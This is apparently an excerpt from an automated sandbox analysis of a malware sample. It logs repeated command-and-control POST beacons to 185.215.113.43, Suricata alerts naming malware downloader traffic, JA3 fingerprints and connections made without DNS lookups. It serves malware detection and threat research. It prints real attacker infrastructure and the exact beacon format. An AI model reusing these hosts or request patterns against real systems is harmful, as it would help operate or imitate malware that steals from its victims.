Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49786 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49817 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49818 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49824 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49833 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49844 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49854 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49874 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49845 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49875 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49886 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49900 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49899 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49853 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49915 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49929 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49942 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49949 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49946 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49958 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50000 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50016 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:50024 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49983 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50102 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50131 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50146 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50147 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50153 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50151 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50157 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50154 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50156 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50161 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50159 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50160 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50163 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50166 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50170 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50173 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:50174 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50291 -> 52.168.117.169:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50374 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50370 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50380 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50376 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:50382 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50379 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50372 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50368 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50377 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50386 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50384 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50388 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50407 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50422 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50420 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50424 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:50426 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50418 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50437 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50440 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50442 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50447 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50445 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50443 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:50451 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50450 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50439 -> 188.114.97.3:443

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=wmzoUWafuNHhfWZ&MD=cVVuztN8 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
